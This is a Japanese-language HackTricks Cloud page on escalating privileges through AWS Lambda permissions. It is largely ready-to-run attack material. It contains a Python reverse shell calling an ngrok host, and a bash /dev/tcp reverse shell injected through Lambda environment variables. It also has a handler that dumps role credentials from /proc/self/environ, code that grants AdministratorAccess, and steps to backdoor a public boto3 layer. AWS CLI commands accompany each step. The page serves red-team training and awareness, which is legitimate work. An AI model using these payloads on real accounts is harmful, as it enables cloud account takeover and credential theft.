AWS - Lambda Privesc
Reading time: 18 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
lambda
lambdaに関する詳細情報は以下を参照してください:
iam:PassRole
, lambda:CreateFunction
, (lambda:InvokeFunction
| lambda:InvokeFunctionUrl
)
iam:PassRole
, lambda:CreateFunction
, および lambda:InvokeFunction
権限を持つユーザーは、特権を昇格させることができます。
彼らは新しいLambda関数を作成し、既存のIAMロールを割り当てることができ、そのロールに関連付けられた権限を関数に付与します。ユーザーはその後、このLambda関数にコードを書いてアップロードすることができます(例えば、rev shellを使用して)。
関数が設定されると、ユーザーはその実行をトリガーし、AWS APIを通じてLambda関数を呼び出すことで意図したアクションを実行できます。このアプローチにより、ユーザーはLambda関数を介して間接的にタスクを実行し、それに関連付けられたIAMロールによって付与されたアクセスレベルで操作することができます。\
攻撃者はこれを悪用してrev shellを取得し、トークンを盗むことができます:
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"
# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip
# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL
# List roles
aws iam list-attached-user-policies --user-name <user-name>
あなたはまた、lambda関数自体のlambdaロールの権限を悪用することができます。
もしlambdaロールに十分な権限があれば、それを使用してあなたに管理者権限を付与することができます:
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
lambdaのロール資格情報を外部接続なしで漏洩させることも可能です。これは、内部タスクで使用されるネットワーク隔離されたLambdaにとって便利です。逆シェルをフィルタリングしている未知のセキュリティグループがある場合、このコードはlambdaの出力として資格情報を直接漏洩させることを可能にします。
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
潜在的な影響: 指定された任意のlambdaサービスロールへの直接的な権限昇格。
caution
興味深く見えるかもしれませんが、lambda:InvokeAsync
は単独では aws lambda invoke-async
を実行することを許可しません。lambda:InvokeFunction
も必要です。
iam:PassRole
, lambda:CreateFunction
, lambda:AddPermission
前のシナリオと同様に、lambda:AddPermission
の権限があれば、自分に lambda:InvokeFunction
の権限を付与することができます。
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
潜在的影響: 指定された任意のlambdaサービスロールへの直接的な権限昇格。
iam:PassRole
, lambda:CreateFunction
, lambda:CreateEventSourceMapping
iam:PassRole
, lambda:CreateFunction
, および lambda:CreateEventSourceMapping
権限を持つユーザー(おそらく dynamodb:PutItem
および dynamodb:CreateTable
も含む)は、lambda:InvokeFunction
なしでも間接的に 権限を昇格 させることができます。
彼らは 悪意のあるコードを持つLambda関数を作成し、既存のIAMロールを割り当てる ことができます。
ユーザーはLambdaを直接呼び出す代わりに、既存のDynamoDBテーブルを設定または利用し、イベントソースマッピングを通じてLambdaにリンクします。この設定により、テーブルに新しいアイテムが追加されると、ユーザーのアクションまたは別のプロセスによってLambda関数が 自動的にトリガー され、渡されたIAMロールの権限でコードが実行されます。
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
もしDynamoDBがすでにAWS環境でアクティブであれば、ユーザーはLambda関数のためにイベントソースマッピングを設定する必要があります。しかし、DynamoDBが使用されていない場合、ユーザーはストリーミングが有効な新しいテーブルを作成する必要があります:
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
今、イベントソースマッピングを作成することによってLambda関数をDynamoDBテーブルに接続することが可能です:
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
DynamoDBストリームにリンクされたLambda関数を使用すると、攻撃者はDynamoDBストリームをアクティブにすることでLambdaを間接的にトリガーすることができます。これはDynamoDBテーブルにアイテムを挿入することによって実現できます:
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
潜在的な影響: 指定されたlambdaサービスロールへの直接的な権限昇格。
lambda:AddPermission
この権限を持つ攻撃者は自分自身(または他の人)に任意の権限を付与することができます(これはリソースへのアクセスを付与するためのリソースベースのポリシーを生成します):
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
潜在的な影響: コードを変更して実行する権限を付与することによって、使用されるlambdaサービスロールへの直接的な権限昇格。
lambda:AddLayerVersionPermission
この権限を持つ攻撃者は自分自身(または他の人)にlambda:GetLayerVersion
の権限を付与することができます。彼はレイヤーにアクセスし、脆弱性や機密情報を探すことができます。
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
潜在的影響: 機密情報へのアクセスの可能性。
lambda:UpdateFunctionCode
lambda:UpdateFunctionCode
権限を持つユーザーは、IAMロールにリンクされた既存のLambda関数のコードを変更する可能性があります。
攻撃者はIAM資格情報を外部に流出させるためにlambdaのコードを変更することができます。
攻撃者が関数を直接呼び出す能力を持っていない場合でも、Lambda関数が既に存在し稼働している場合、既存のワークフローやイベントを通じてトリガーされる可能性が高く、したがって変更されたコードの実行を間接的に促進することになります。
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip
# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
潜在的な影響: 使用されるlambdaサービスロールへの直接的な権限昇格。
lambda:UpdateFunctionConfiguration
環境変数を介したRCE
この権限を持つことで、Lambdaが任意のコードを実行する環境変数を追加することが可能です。例えば、Pythonでは環境変数PYTHONWARNING
とBROWSER
を悪用して、Pythonプロセスが任意のコマンドを実行することができます:
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
他のスクリプト言語には、使用できる他の環境変数があります。詳細については、以下のリンクのスクリプト言語のサブセクションを確認してください。
macOS Process Abuse - HackTricks
Lambdaレイヤーを介したRCE
Lambda Layers は、コードをラムダ関数に含めることを可能にしますが、別々に保存するため、関数コードは小さく保たれ、複数の関数がコードを共有できます。
ラムダ内では、次のような関数を使用して、Pythonコードが読み込まれるパスを確認できます。
import json
import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
これらの場所です:
- /var/task
- /opt/python/lib/python3.7/site-packages
- /opt/python
- /var/runtime
- /var/lang/lib/python37.zip
- /var/lang/lib/python3.7
- /var/lang/lib/python3.7/lib-dynload
- /var/lang/lib/python3.7/site-packages
- /opt/python/lib/python3.7/site-packages
- /opt/python
例えば、ライブラリboto3は/var/runtime/boto3
(4番目の位置)から読み込まれます。
悪用
lambda:UpdateFunctionConfiguration
の権限を悪用して、新しいレイヤーをlambda関数に追加することが可能です。任意のコードを実行するためには、このレイヤーにlambdaがインポートするライブラリを含める必要があります。lambdaのコードを読むことができれば、これを簡単に見つけることができます。また、lambdaがすでにレイヤーを使用している可能性があり、そのレイヤーをダウンロードしてあなたのコードを追加**することができるかもしれません。
例えば、lambdaがライブラリboto3を使用していると仮定すると、これはライブラリの最新バージョンを持つローカルレイヤーを作成します:
pip3 install -t ./lambda_layer boto3
./lambda_layer/boto3/__init__.py
を開き、グローバルコードにバックドアを追加します(例えば、資格情報を外部に送信する関数やリバースシェルを取得する関数など)。
次に、その ./lambda_layer
ディレクトリを zip し、新しいラムダレイヤーを自分のアカウントにアップロードします(または被害者のアカウントにアップロードしますが、その場合は権限がないかもしれません)。
python フォルダを作成し、ライブラリをそこに置いて /opt/python/boto3 を上書きする必要があることに注意してください。また、レイヤーはラムダで使用されているPythonバージョンと互換性がある必要があります。アカウントにアップロードする場合は、同じリージョンにある必要があります。
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
今、アップロードしたlambdaレイヤーをすべてのアカウントからアクセス可能にします:
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
被害者のlambda関数にlambdaレイヤーを添付します:
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
次のステップは、関数を自分で呼び出すか、通常の手段で呼び出されるのを待つことです。後者がより安全な方法です。
この脆弱性を利用するよりステルスな方法は以下にあります:
AWS - Lambda Layers Persistence
潜在的な影響: 使用されるlambdaサービスロールへの直接的な権限昇格。
iam:PassRole
, lambda:CreateFunction
, lambda:CreateFunctionUrlConfig
, lambda:InvokeFunctionUrl
これらの権限があれば、関数を作成し、URLを呼び出して実行できるかもしれません... しかし、テストする方法が見つからなかったので、もし見つけたら教えてください!
Lambda MitM
いくつかのlambdaは、ユーザーからのパラメータで機密情報を受け取ることになります。もしそのうちの1つでRCEを取得できれば、他のユーザーが送信している情報を抽出できます。詳細は以下を確認してください:
参考文献
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。